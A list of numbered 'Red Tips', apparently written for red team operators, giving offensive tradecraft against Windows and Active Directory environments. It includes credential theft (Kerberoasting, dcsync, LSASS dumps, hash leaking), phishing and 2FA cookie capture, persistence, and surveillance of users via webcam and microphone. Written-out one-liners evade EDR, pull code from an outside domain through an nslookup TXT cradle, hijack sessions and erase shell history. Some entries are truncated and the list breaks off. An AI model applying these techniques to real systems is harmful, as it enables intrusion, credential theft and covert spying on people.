Red Team Tips

Red Tip #1: Profile your victim and use their user agent to mask your traffic. Alternatively
use UA from software such as Outlook.

Red tip #2: If the enemy SOC is using proxy logs for analysis. Guess what? It won’t log
cookies or POST body content as can be sensitive.

Red tip #3: Taking a snapshot of AD can let you browse, explore and formulate future
attacks if access is lost momentarily.

Red tip #4: consider using Office Template macros and replacing normal.dot for persistence
in VDI environments.

Red tip #5: Do a DNS lookup for terms such as intranet, sharepoint, wiki, nessus, cyberark
and many others to start intel on your target.

Red tip #6: Got access but need to find target? Use WMIC to query and dump the DNS Zone
for a better view of assets - https://serverfault.com/questions/550385/export-all-hosts-from-
dns-manager-using-powershell

Red tip #7: Whether PSEXEC, WMI, PS remoting or even the recent COM execution
technique for lateral movement. Dont forget beloved RDP.

Red tip #8: Make sure theres trackers in your: emails, delivery server and payload execution.
Any more? Comment to share!

Red tip #9: When PowerUp yields no results, dont forget SysInternalss AutoRuns. Often you
can find unexpected surprises :)
Red tip #10: When using BloodHound, dont forget DA equivalents such as administrators
and server operators etc too. These arent mapped.

Red tip #11: When navigating mature environments, a good old network diagram along with
AD OUs can help to shed some light into next steps.

Red tip #12: Kerberoast them hashes, could be a fast route to domain administrator.
PowerView: Invoke-Kerberoast -Format Hashcat

Red tip #13: Shared local administrator account hashes are great for lateral movement. Find
machines based on the same build and attack away

Red tip #14: Got extra credentials? Use different sets for separate egress channels so that if
one account is disabled all the rest are ok.

Red tip #15: You dont need payloads when you can phish credentials and login to Citrix,
VPN, email with no 2FA. Check the perimeter.

Red tip #16: @dafthack MailSniper, @domchell LyncSniper can be a useful but noisy way
to obtain AD credentials into an organisation.

Red tip #17: @_staaldraad Ruler tool can be used to obtain code execution on a system
running Outlook if you can access exchange externally

Red tip #18: When tools like MailSniper dont work in custom environments, you still have
good old @Burp_Suite to replicate the attacks

Red tip #19: Need a DC? echo %LOGONSERVER%. Need a list? nltest /dclist, nslookup -
q=srv _kerberos._tcp (domain suffix can autocomplete)

Red tip #20: So apparently not many people use SSH for redirector setup. So try out SSH c2
-R *:80:localhost:80. SSH config GatewayPorts yes
Red tip #21: Found open user home shares that are accessible? See if you can drop into
Startup Programs for lateral movement and privesc.

Red tip #22: Use VNC, microphone and webcam to perform surveillance. Netstat, tasklist
can provide context into what the users doing.

Red tip #23: Stash payloads in C:$Recycle.Bin

Red tip #24: Compromise the SOC and Security teams to watch their progress and track their
email alerts for sophisticated threats

Red tip #25: Probably dont do this on a red team, but spray for Welcome1, Password1 if
youre struggling to move. But move off fast.

Red tip #26: Split your campaigns up so that they are independent. Fire tons at once for
decoys and to burn out the defence.

Red tip #27: Need more credentials? Search for passwords on Sharepoint, and intranet.

Red tip #28: Look for asset registers to understand who owns what machine, make and
model. Theres usually an asset label to host name too!

Red tip #29: Lateral movement: printers, open webroots, good old Tomcat, what are your
quick wins?

Red tip #30: Get AD credentials? Turn up on site and you might be able to use them to login
to Corporate Wifi :)

Red tip #31: Hunting e-mails and network shares for penetration testing reports can often
yield good results.
Red tip #32: List mounts: net use, look for shared folders and drop a UNC icon LNK into it.
Run Inveigh or Wireshark on host to grab hashes.

Red tip #33: Orgs are transitioning to cloud services such as AWS, Beanstalk, O365, Google
Apps. 2FA is vital - password reset to compromise.

Red tip #34: OpSec. Set notifications to your phone for logins or intrusion attempts in any
part of your attack infrastructure.

Red tip #35: FireEye sandbox flagging your payloads? Try anti sandbox techniques! If not,
just use HTA to get into memory as it doesnt scan

Red tip #36: Dont forget the good old GPP passwords in SYSVOL. There may be cached
GPP on the machine. Applying the patch isnt enough

Red tip #37: Use GenHTA to generate HTA files that use anti-sandboxing techniques.
https://github.com/vysec/GenHTA

Red tip #38: Having trouble getting @armitagehacker CobaltStrikes evil.hta through
defenses? https://github.com/vysec/MorphHTA

Red tip #39: If emails get bounced, read the email! Sometimes due to malware scanners,
spam etc. Or you may even get an out of office reply.

Red tip #40: @0x09AL suggests looking for default credentials on printers and embedded
devices. Move off initial foothold using this.

Red tip #41: @Oddvarmoe suggests using Alternate Data Streams if you need to put a file on
disk. For example https://github.com/samratashok/nishang/blob/master/Backdoors/Invoke-
ADSBackdoor.ps1
Red tip #42: Got OS level access to a middle tier? Task list, netstat and wmic process list full
| findstr /I commandline for more ideas!

Red tip #43: So you know where the server application files are. Download the binaries and
check out configuration files for conn. Strings

Red tip #44: Run PEiD and other packer / technology checkers to find out the language and
packer used on downloaded server binaries.

Red tip #45: Run strings on the application binary for potentially other cleartext sensitive
strings! (Unicode mode too)

Red tip #46: On a VDI? Check out C:\ and other disks for potentially sensitive files other
users may have saved there.

Red tip #47: Incase EDR are looking for "net users /domain" try using "net use /dom"
Red tip #48: Is EDR potentially looking for "powershell -encodedcommand"? Try
"powershell -ec"

Red tip #49: Attacking a heavy Macintosh or Linux estate? Send a Office Maldoc with OS
checking logic to obtain footholds on either system

Red tip #50: Carbon Black checks for IEX and web req commands. Use powershell
"powershell . (nslookup -q=txt calc.vincentyiu.co.uk )[-1]"

Red tip #51: Cant open C drive? Try \127.0.0.1\c$

Red tip #52: SC doesnt take credentials. Cant use runas? Try net use \targetip\ipc$ password
/u:domain\username then sc to psexec

Red tip #53: When stick phishing for 2FA, consider using @mrgretzky Evilginx project
which logs cookies. https://breakdev.org/evilginx-1-1-release/
Red tip #54: Hide from blue. Volume shadow copy then execute \?\GLOBALROOT\
Device\HarddiskVolumeShadowColy1\malware.exe/dll then delete VSC

Red tip #55: SMB hash leaking using a UNC path for image in page for drive by leak can
give you credentials for less mature environments.

Red tip #56: Target victims using email authentication such as Microsoft Account on
Windows 10? Hash leak exposes full email address!

Red tip #57: Working in teams yields better results; and best of all Makes Offensive
operations more fun and keeps the adrenaline pumping

Red tip #58: Discuss business targets and objectives with your clients. This process should
set non technical goals such as "ATM spit money"

Red tip #59: Checking whether a server or host is good for egress? Likely to go down?
"systeminfo | findstr /i boot"

Red tip #60: Type "query user" to see who else is connected to the machine.

Red tip #61: Get a quick patch list using wmic qfe list brief. Cross ref KB to bulletins.

Red tip #62: Found a process of interest? Dont forget to obtain a MiniDump! Use Out-
MiniDump https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-
Minidump.ps1

Red tip #63: Finally in CyberArk, click policies and see safes but no account? Go to
accounts search and search for empty and safes show up

Red tip #64: Is WebDav allowed through the gateway? Using http mini redirector? Dont
exfiltrate or send in files. WebDav is subject to DLP
Red tip #65: WebDav mini http redirector: net use * http://totallylegit.com/share . Then start
z:

Red tip #66: Found potential MQ creds? ActiveMQ? Try out https://github.com/fmtn/a ,
works to query MQ endpoints that dont use self signed crt

Red tip #67: Use vssadmin to list and create volume shadow copies

Red tip #68: Pivoting into a secure zone that has no DNS or web gateway and need exfil?
Netsh port forward pivot UDP 53 to DNS 53 then boom

Red tip #69: Have blue hidden the ways including winkey+R? Try shift and right click
desktop and open command prompt

Red tip #70: Tracked down that putty session? Popped the box? Query user and check the
victims logon time and idle times

Red tip #71: Hijack his Session using sc create sesshijack binpath= "cmd.exe /k tscon /dest:"
then use putty session

Red tip #72: Most people understand email sec wrong. SPF does not mean not spoofable.
SPF does nothing without DMARC.

Red tip #73: Weak DMARC on victim org domain? Spoof their own emails back into
themselves! You even inherit their AD name and photo

Red tip #74: Got access to Microsoft OWA mailbox or O365? You can extract global catalog
from contacts use @Burp_Suite and parse JSON object

Red tip #75: Write PHP delivery scripts that can mutate your payloads and add unique
trackers per download. This tracks file being executed
Red tip #76: Simulating a criminal threat story with smash and grab agenda? Phish users and
hot swap payload mid campaign to test formats

Red tip #77: RCE on a web application for less mature client? nslookup -q=srv _ldap._tcp if
its domain joined Invoke-Kerberoast

Red tip #78: @benichmt1 suggests looking for vmdk files across the network. You can use
this to potentially access segregated networks

Red tip #79: Obfuscation is never bad, especially when its a button click. @danielhbohannon
- https://github.com/danielbohannon

Red tip #80: Need to sweep for uptimes? Use wmic /node:"" OS get LastBootUpTime in a
for loop

Red tip #81: Looking for systems running KeePass? Run a for loop on wmic /node:"host"
process list brief :)

Red tip #82: Found KeePass running in memory? Use @harmj0y KeeThief to extract
password and dl the KDBX - https://github.com/HarmJ0y/KeeThief

Red tip #83: Struggling to find a working DB client? Live off the land and use your victims
in an RDP session.

Red tip #84: Im sure everyone hates Oracle DB but no sweat, you can proxycap
sqldeveloper.exe

Red tip #85: Check the users calendars before using persistence on their machine. They may
be out of office and screw your master plans.

Red tip #86: Red team and attack simulation is not penetration testing. You shouldnt be
really testing anything, but simply infiltrating.
Red tip #87: @Oddvarmoe uses .UDL files to quickly launch a MSSQL connection test to
validate credentials! https://blogs.msdn.microsoft.com/farukcelik/2007/12/31/basics-first-
udl-test/

Red tip #88: Dont forget Physical security! Whip up a PI with GSM and you can hack your
way in by dropping the PI on network.

Red tip #89: regsvr32 SCT files are being detected as Squigglydoo. Looks for "script" case
sensitive and "<registration" case insensitive.

Red tip #90: Cisco NGIPS is shit, when analysing traffic for havex it drops only but not

Red tip #91: Decoys can be as simple as burning egress by port scanning 1-1024 through
IDS, or spamming dodgy emails at blocks of employees

Red tip #92: If WDigest is disabled, reenable it for cleartext credentials before new users
login with @harmj0y https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Invoke-
WdigestDowngrade.ps1

Red tip #93: Use Empyre to generate Macintosh and Linux payloads, modify it to contain
code for Windows too! https://github.com/EmpireProject/EmPyre

Red tip #94: Client uses VDIs? Compromise underlying host and use Citrix Shadow Taskbar
to spy on VDI sessions by selecting username

Red tip #95: @domchell recommends avoiding non persistent VDIs and persist on laptops.
Query DC for live laptops.

Red tip #96: @lucasgates recommends using OLE objects containing VBS scripts instead of
Macros as less suspicious. VBE will work too
Red tip #97: Use recent critical vulnerabilities such as CVE-2017-0199 HTA handler issue to
simulate real threats. https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-
handler-vulnerability/

Red tip #98: @0x09AL suggests WordSteal. You can embed an IMAGE with UNC path to
steal hashes from Word. Wont work if proxy. https://github.com/0x09AL/WordSteal

Red tip #99: If client is using Proxy with WebDav you can phish creds using @ryHanson
Phishery https://github.com/ryhanson/phishery

Red tip #100: Use wgsidav if you need a quick WebDav server :)
https://github.com/mar10/wsgidav

Red tip #101: Set up red team infrastructure following @bluscreenofjeff guidelines!
https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

Red tip #102: Easier DNS redirector! https://pastebin.com/LNj4zjFs for opsec and not
hosting C2 on the cloud

Red tip #103: Red team tips are useful but what makes the good red teamer is experience.
Rack up that breadth of experience

Red tip #104: SessionGopher does a decent job at retrieving putty and RDP history -
https://github.com/fireeye/SessionGopher

Red tip #105: If ping 8.8.8.8 works, try ICMP tunnelling. More info at
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-5.html?m=1
from @fragsh3ll though only on immature network

Red tip #106: Wordlists? https://github.com/berzerk0/Probable-WordlistsI like to use the top

probable 297 million list with Deadhobo rules
Red tip #107: More of a pentest tip but nslookup http://google.com if it resolves you may
have a DNS tunnelling problem.

Red tip #108: Post exploitation Asset Discovery https://github.com/vysec/Invoke-

DNSDiscovery looks for assets by name that might be good if youre low priv user.

Red tip #109: Use Invoke-ProcessScan to give some running processes context on a system.
This uses EQGRP leaked list- https://github.com/vysec/Invoke-ProcessScan

Red tip #110: Mature blue? Be careful and minidump lssas.exe then download it and parse
locally

Red tip #111: Found an exploitable S4U condition? Use Mistique to attack!
https://github.com/machosec/Mystique/blob/master/Mystique.ps1

Red tip #112: Need to use VNC as RDP in use? https://github.com/artkond/Invoke-Vnc has
been pretty stable for me. Run it then pivot in and connect!

Red tip #113: Found super secret.doc or master password database.xlsx? Use office2john to
get hash and crack in Hashcat!

Red tip #114: PowerUp didnt work and you want to autoruns? Dont bother going on disk,
use Invoke-AutoRuns to csv- https://github.com/p0w3rsh3ll/AutoRuns

Red tip #115: Need to zip up a directory quickly for easy exfiltration? Eg. Home shares
https://github.com/thoemmi/7Zip4Powershell use Powershell

Red tip #116: Use CatMyFish to search for categorised domains that could be used in your
engagements - https://github.com/Mr-Un1k0d3r/CatMyFish

Red tip #117: Ran Invoke-MapDomainTrusts from PowerView? Use @harmj0y

DomainTrustExplorer to generate a graph - https://github.com/sixdub/DomainTrustExplorer
Red tip #118: FOCA finds some useful information for OSINT and intelligence phases.
https://www.elevenpaths.com/labstools/foca/index.html

Red tip #119: GoPhish is a pretty useful tool for spinning up simple phishing campaigns
especially for decoys https://getgophish.com

Red tip #120: If you have write access to the orgs shared Office template folders You can
privesc by backdooring these trusted documents.

Red tip #121: @zwned uses netsh packet tracing to sniff natively from victim host. Save
capture and analyze offline!

Red tip #122: More decoy tips! Scan the external perimeter with tools like Nessus and
OpenVAS. More traffic the better just to burn the blue

Red tip #123: Read Sean Metcalfa blog http://adsecurity.org/ When AD is used in many
environments, it vital to at least know techniques

Red tip #124: Remember you can generate a golden ticket offline with knowledge of krbtgt
and rest offline. Golden ticket gets silver from DC

Red tip #125: Got krbtgt of a child domain? Forest parent trusts you? Use the SID history
attack in golden tickets to escalate to Ent Admin

Red tip #126: You dont necessarily need Domain Admin, if you have an account that has
"Replicating directory changes", dcsync to pull hash

Red tip #127: Planning to use secretsdump.py? :) Try using the DC machine account to
authenticate and dump instead of a user! Save hash

Red tip #128: Use machine account hashes to generate silver tickets to a host for persistence.
Save machine hash for DC incase krbtgt rotate
Red tip #129: Use PEAS to query shares and emails if using ActiveSync -
https://github.com/mwrlabs/peas

Red tip #130: (Not red really but useful) Sort IPs: cat IPs.txt | sort -t . -k1,1 -k2,2 -k3,3 -k4,4

Red tip #131: Learn AWK and general bash scripting. Processing and merging of data sets
speeds up our job for discovery and time keeping.

Red tip #132: Worth learning to pick locks and the dust can sensor trick if youre going to do
some physical. http://www.artofmanliness.com/2014/11/19/how-to-pick-a-lock-pin-tumbler-
locks/

Red tip #133: Grep has an extract flag -o that can be used to extract from a regex. Good for
extracting data from massive blobs.

Red tip #134: Victims use wireless? Use KARMA attack to force them onto your network.
Use eternalblue, domain creds or other vulns to get in. https://github.com/sensepost/mana

Red tip #135: Phishing pages are usually custom. However its always good to have a stash
for decoys. Generic Gmail, Office365?

Red tip #136: Keep up to date by watching presentations from conferences on YouTube :)
Discover useful techniques

Red tip #137: If youve exhausted all payload types, try sending a Mac user a python one
liner and Win PS 1 liner. Ive had people run it.

Red tip #139: If you need to get a clean EXE for file drop and exec, try out @midnite_runr
Backdoor Factory - https://github.com/secretsquirrel/the-backdoor-factory
Red tip #140: If enemy does not use proxy with TLS inspection then you can use
https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/ to
mask your c2 channel further

Red tip #141: On a Linux box and want to egress from it over a proxy? Use ProxyTunnel to
pipe SSH - https://github.com/proxytunnel/proxytunnel

Red tip #142: Need some OSINT? Keep Spiderfoot running long term to accompany your
manual OSINT sources http://www.spiderfoot.net

Red tip #143: OSINTing? TheHarvester does a decent job at subdomains. Though theres
better ways to get emails bulk. https://github.com/laramies/theHarvester

Red tip #144: Exploring and want to use WMI? https://www.microsoft.com/en-

us/download/details.aspx?id=8572 is pretty useful for exploring the different namespaces
and classes.

Red tip #145: Need to reset a password? Do it then quickly dcsync for previous password
hash and use NTLMinject - https://github.com/vletoux/NTLMInjector

Red tip #146: IDS flagging known payload binary blob? Base64 encode it in your payload
and use certutil, PS or VB to decode it!

Red tip #147: Test your phishing campaigns before sending!!!

Red tip #148: If youre sending into Exchange, make sure your SMTP server is not in SPAM
list or black lists. Check junk mails mail headers

Red tip #149: Use Microsofts Message Header Analyzer to parse and review email headers
from Outlook. https://testconnectivity.microsoft.com/MHA/Pages/mha.aspx
Red tip #150: Make sure phishing emails Bounce header matches From. Or else some will
flag as malicious.

Red tip #151: DomainHunter also looks for good candidate expired domains -
https://github.com/minisllc/domainhunter

Red tip #152: Want to scrape MetaData in CLI? Use PowerMeta. Linux users can use
PowerShell too! https://github.com/dafthack/PowerMeta

Red tip #153: RDP in use? Dont want to use VNC? Try mimikatzs ts::multirdp in memory
patch by @gentilkiwi

Red tip #154: Admin on a machine with VPN client? certificate extraction using Mimikatz
by @gentilkiwi. Dont forget to dl configs. Backdoor

Red tip #155: Master all the quick wins to Domain privilege escalation. When youre
pressured to get DA in 15 mins, you want to know you can

Red tip #156: @Akijos notes that we should be careful when using silver tickets with
scheduled tasks. Author is the user account youre on.

Red tip #157: If you dont need a golden ticket, dont generate it.

Red tip #158: Scan a DNS server for Alexa top 1 million spoofable domains :) Ive got a
massive list, do you?

Red tip #159: Scan the internet for a list of domain frontable domains! Ive got a big big list
ready for whenever I want to use them :)

Red tip #160: We all know people share credentials between different services. Try these
credentials on other accounts owned by the user!
Red tip #161: Cant crack a password? Try the users previous passwords from history in AD.
They may follow a pattern.

Red tip #162: Cant crack a hash owned by a user? Take all previously discovered passwords
from their files and generate a new word list.

Red tip #163: Cant crack a password? Make sure these are in your word list: name of
company, town, capital, country, months! Appear a lot.

Red tip #164: Didier Stevens has SelectMyParent tool that lets you spawn a child process
with an arbitrary parent. https://blog.didierstevens.com/2017/03/20/that-is-not-my-child-
process/

Red tip #165: Using SelectMyParent stops those detections eg. powershell.exe spawning
cmd.exe. @armitagehackers CobaltStrike has ppid cmd!

Red tip #166: Use PowerPoint mouse over text to invoke a powershell command one liner.
#adversarysimulation - https://www.dodgethissecurity.com/2017/06/02/new-powerpoint-
mouseover-based-downloader-analysis-results/

Red tip #167: Follow @mattifestation to keep up to date with blue team advances. Just in
case blue is actually up to date with mitigations!

Red tip #168: Using VBS or JS? Cant stage using PowerShell.exe as blocked? @Cneelis
released https://github.com/Cn33liz/StarFighters so you can keep use PS

Red tip #169: Not sure who uses Wi-Fi webcams but go run a mass deauth attack if youre
going to plan on breaking in physically to discon

Red tip #170: @malcomvetter Never use defaults - run Mimikatz with AES and 8 hour
tickets to avoid passive detection from NG defense tools!
Red tip #171: Win XP doesnt have PowerShell? Try using Unmanaged powershell to keep
using your favourite scripts!

Red tip #172: @anthonykasza tells us that the at.exe command takes base64 encoded
Params! Eg. at.exe b64::[encoded params]

Red tip #173: Grab cleartext wireless keys: netsh wlan show profile name="ssid" key=clear

Red tip #174: Got a shell on a victim without admin? Want their creds? Try Inveigh then
rpcping -s 127.0.0.1 -t ncacn_np to leak hash.

Red tip #175: Got a low priv shell and need creds? Use Invoke-LoginPrompt by
@enigma0x3
https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-
LoginPrompt.ps1

Red tip #176: Get access to shadow admin accounts, they can DCsync and are essentially
DA. https://www.cyberark.com/threat-research-blog/shadow-admins-stealthy-accounts-fear/

Red tip #177: If blue detects PTH. Try extract Kerberos tickets and PTT.
Red tip #178: @lefterispan wrote
https://gist.github.com/leftp/a3330f13ac55f584239baa68a3bb88f2 … which sets up a proxy
and forces an auth attempt to it to leak hash. Low priv leak.

Red tip #179: When creating phishing pages, try cloning and modifying parts of the client’s
own webpages. For example of their VPN login!

Red tip #180: Regardless of whether there are known defences. Run your PS scripts through
Obfuscation before loading into memory.

Red tip #181: Stuck trying to find those assets still? Try @424f424f Get-BrowserData
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Get-BrowserData.ps1
Red tip #182: Follow @JohnLaTwC as he tweets phishing examples and sometimes with
new techniques used in Wild. Good for adversary simulation

Red tip #183: @MrUn1k0d3r released https://github.com/Mr-Un1k0d3r/SCT-obfuscator …

can probably bypass Gateway signatures when performing SCT delivery for regsvr32!
https://github.com/Mr-Un1k0d3r/SCT-obfuscator

Red tip #184: We always talk about Windows and AD. But now let’s have a look at Linux
and AD with https://medium.com/@br4nsh/from-linux-to-ad-10efb529fae9

Red tip #185: Use WSUS for lateral movement

https://github.com/AlsidOfficial/WSUSpendu/blob/master/WSUSpendu.ps1

Red tip #186: View @jpcert https://www.jpcert.or.jp/english/pub/sr/20170612ac-

ir_research_en.pdf
and look at all those indicators and artefacts left behind. Then hexedit those tools

Red tip #187: Found a portal using 2FA? Using RSA SecureID?
https://blog.netspi.com/targeting-rsa-emergency-access-tokencodes-fun-profit/
Pin bruteforce!

Red tip #188: @pwnagelabs says to avoid bash history on exit using: kill -9 $$

Red tip #189: @pwnagelabs teaches us how to avoid wtmp logging with: ssh -l user target –
T

Red tip #190: @bluscreenofjeff shows us how to use Apache Mod rewrite to randomly serve
different payloads https://bluescreenofjeff.com/2017-06-13-serving-random-payloads-with-
apache-mod_rewrite/

Red tip #191: Domain user? Query LDAP for Printers. Attempt default creds or known vulns
then read Service account creds, hash or relay
Red tip #192: Get-WmiObject -Class MicrosoftDNS_AType -NameSpace
Root\MicrosoftDNS -ComputerName DC001 | Export-CSV -not dns.csv

Red tip #193: Password protected doc in email? For some reason a lot of people send the
password separately to the same inbox. #epicfail

Red tip #194: Can’t see another part of the network and there’s a DC? Pivot off the DC :)

Red tip #195: C:\windows\system32\inetsrv\appcmd list site to find IIS bindings.

Red tip #196: DA -> Locate DB -> Found MSSQL?

https://github.com/NetSPI/PowerUpSQL use PowerUpSQL to enumerate and privesc by
stealing tokens.

Red tip #197: If ACL doesn’t let you read other users’ home shares, you can try net view
\fileserv /all to try other shares and folders!

Red tip #198: Username jondoe and jondoe-x? Ones an Admin? Try same password. May be
shared � repeat for entire user list.

Red tip #199: Failed to phish? Payloads failing? Mac users? Write an email and ask them to
open terminal and paste in python Empyre one line

Red tip #200: @_wald0 blessed us with this BH cypher query to skip specific nodes to look
for other paths. https://pastebin.com/qAzH9uji

Red tip #201: @424f424f pushed some research into LNK files inside CAB can be used to
bypass the Attachment Manager http://www.rvrsh3ll.net/blog/informational/bypassing-
windows-attachment-manager/

Red tip #202: When domain fronting, your calls hit the edge node, so every domain you use
potentially hits a different a IP!
Red tip #203: If using @Cneelis StarFighter. Instead of using a staged web delivery, just
stick while stageless payload as encoded block in!

Red tip #204: Printers are often good MAC addresses to use to beat NAC when physical red
teaming as printers (mostly?) don’t support 802.1x

Red tip #205: If proxy is blocking SCT file, replace with and add around the rest. Thx
@subTee

Red tip #206: CobaltStrike's @armitagehacker VNC not working? Here's a workaround
using @artkond Invoke-VNC https://github.com/vysec/Aggressor-VYSEC/blob/master/vnc-
psh.cna

Red tip #207: Got C2 on Windows user but no credentials? Leak a hash using @leftp's code.
Implemented into CNA https://github.com/vysec/Aggressor-VYSEC/blob/master/Invoke-
CredLeak.ps1

Red tip #208: @Nebulator spoke on IP regex by IR at #SnoopCon. Here's CobaltStrike

@armitagehacker CNA to automate
https://github.com/vysec/Aggressor-VYSEC/blob/master/ping.cna

Red tip #209: Automate environment prepping and spawn all processes as a child of
explorer.exe by @armitagehacker
https://github.com/vysec/Aggressor-VYSEC/blob/master/auto-prepenv.cna

Red tip #210: @subTee highlighted to us that XML requests can be used as a download
cradle in constrained language mode!

Red tip #211: Check out @armitagehacker's post on OPSEC considerations when using
Cobalt Strike's beacon. https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-
beacon-commands/
Red tip #212: Reset AD passwords from Linux with @mubix
https://room362.com/post/2017/reset-ad-user-password-with-linux/ :) proxychains it over
your pivot :D

Red tip #213: Got a NetNTLMv1 hash? Convert it to NTLM by cracking three DES keys:
https://hashcat.net/forum/thread-5912.html

Red tip #214: If you don’t 100 percent understand NETNTLMv1 and v2 read up on
https://blog.smallsec.ca/2016/11/21/ntlm-challenge-response/

Red tip #215: If you don’t know how LM and NTLM hashing works... go back to basics with
https://blog.smallsec.ca/2016/11/07/windows-credentials/

Red tip #216: @424f424f just made me aware that FireEye can prevent runas from
executing. Use unmanaged PS to spawn https://github.com/rvrsh3ll/Misc-Powershell-
Scripts/blob/master/RunAs.ps1

Red tip #217: S4U can be used to delegate across SPN. So if you have msds-
allowedtodelagateto HTTP you can exploit to obtain HOST and CIFS

Red tip #218: You’re in a subnet where people RDP into but you can’t attack outwards? Set
backdoor over tsclient on start keys.

Red tip #219: Unsure what the localised admin account might be called or need to copy and
paste? Check out https://social.technet.microsoft.com/wiki/contents/articles/13813.localized-
names-for-administrator-account-in-windows.aspx

Red tip #220: EDR monitoring “whoami”? Use echo %userprofile%; echo %username%. Or
replace echo with anything that reflects error:

Red tip #221: Network segregation in play? Try Get-NetSubnet, Get-NetSite in PowerView
or browse in AD explorer. Can help find your way :)
Red tip #222: If you want to simulate MBR activity like #Petya, check out
https://github.com/PowerShellMafia/PowerSploit/blob/master/Mayhem/Mayhem.psm1

Red tip #223: Secure your beach heads against #Petya WMIC /node:host process call create
“echo > C:\windows\perfc”

Red tip #224: Using Linux? Modify /etc/dhcp/dhclient.conf and remove gethostname() for
Opsec when you VPN or have to rock up on site.

Red tip #225: Stuck in a heavily segregated situation on a server? Try RDPInception attack
vector out https://www.mdsec.co.uk/2017/06/rdpinception/

Red tip #226: Reduce AV detection by using fake Microsoft certificate.

Red tip #227: Not using notifications yet for C2 events? For @armitagehacker's Cobalt
Strike check out